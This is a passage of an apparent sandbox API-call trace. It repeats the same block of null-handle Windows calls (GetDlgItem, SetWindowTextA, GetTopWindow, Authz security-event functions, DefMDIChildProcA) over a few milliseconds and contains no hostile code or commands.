GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.512] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.512] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.512] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.512] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.512] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.512] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.513] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.513] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.513] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.513] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.513] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.513] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.513] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.513] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.513] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.513] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.514] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.514] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.514] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.514] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.514] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.514] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.514] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.514] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.514] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.514] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.514] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.514] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.514] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.515] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.515] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.515] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.515] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.515] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.515] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.515] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.515] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.515] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.515] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.515] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.516] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.516] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.516] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.516] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.516] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.516] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.516] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.516] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.516] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.516] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.516] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.516] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.517] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.517] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.517] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.517] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.517] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.517] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.517] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.517] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.517] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.517] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.518] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.518] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.518] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.518] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.518] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.518] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.518] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.518] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.518] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.518] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.518] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.518] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.518] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.519] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.519] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.519] 